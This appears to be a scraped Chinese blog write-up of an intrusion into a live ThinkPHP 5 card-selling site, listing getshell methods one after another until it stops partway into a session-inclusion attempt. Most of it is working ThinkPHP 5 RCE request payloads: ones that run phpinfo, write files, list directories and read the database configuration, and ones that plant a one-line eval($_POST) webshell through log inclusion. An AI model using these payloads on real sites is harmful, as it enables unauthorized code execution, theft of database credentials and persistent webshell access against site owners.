网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试

文章图片

网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试


前言之前接触tp5的站比较少 , 只知道利用RCE漏洞getshell的方式 。 在最近对一个发卡平台渗透的过程中 , 由于php版本限制 , 无法直接使用RCE的payload拿shell , 于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法 。
【查看资料】正文拿到站点后 , 访问首页如下

测试中 , 发现是thinkphp的站 , 报错如下

不过看不出来具体版本 , 不确定是否存在RCE , 于是用exp打一下试试
【网络安全|【网络安全】一次实战中对tp5网站getshell方式的测试】_method=__construct&method=get&filter=call_user_func&get[
=phpinfo


发现执行成功了 , disable_function禁用了挺多函数



一般php版本低于7.1的情况下 , 接下来直接用exp写shell就可以了

方法一直接用下面的exp写shell
s=file_put_contents('test.php''<?php phpinfo();')&_method=__construct&method=POST&filter[
=assert

但是这个exp中使用了assert , 而上面看到php版本是7.1.33 , 这个版本是已经没办法使用assert了 , 所以这里这个方法是不能用的
方法二上面的exp没办法写shell , 但是phpinfo是执行了的 , 那么RCE是存在的 。 于是想到可以通过读取文件读取数据库的账号密码 , 然后找到phpmyadmin , 就可以通过数据库写shell 。
于是首先通过phpinfo中的信息找到网站根目录 , 再使用scandir函数遍历目录 , 找到数据库配置文件
_method=__construct&filter[
=scandir&filter[
=var_dump&method=GET&get[
=路径


 然后通过highlight_file函数读取文件
_method=__construct&filter[
=highlight_file&method=GET&get[
=读取的文件路径


拿到数据库信息后 , 找看看是否存在phpmyadmin , 最终发现没有 , 于是这种方法也失败 。
在论坛搜索tp5的getshell方法 , 发现不少师傅说到可以用日志包含或者session包含的方法 , 但是之前没接触过 , 不知道具体的 , 于是搜索尝试一下 。
方法三
尝试日志包含
首先写shell进日志
_method=__construct&method=get&filter[
=call_user_func&server[
=phpinfo&get[
=<?php eval($_POST['c'
)?>

然后通过日志包含来getshell
_method=__construct&method=get&filter[
=think\\__include_file&server[
=phpinfo&get[
=../data/runtime/log/202110/17.log&c=phpinfo();


失败了 , 这里日志包含的方法也不可用
方法四尝试使用session包含的方法来getshell
首先通过设置session会话并传入一句话木马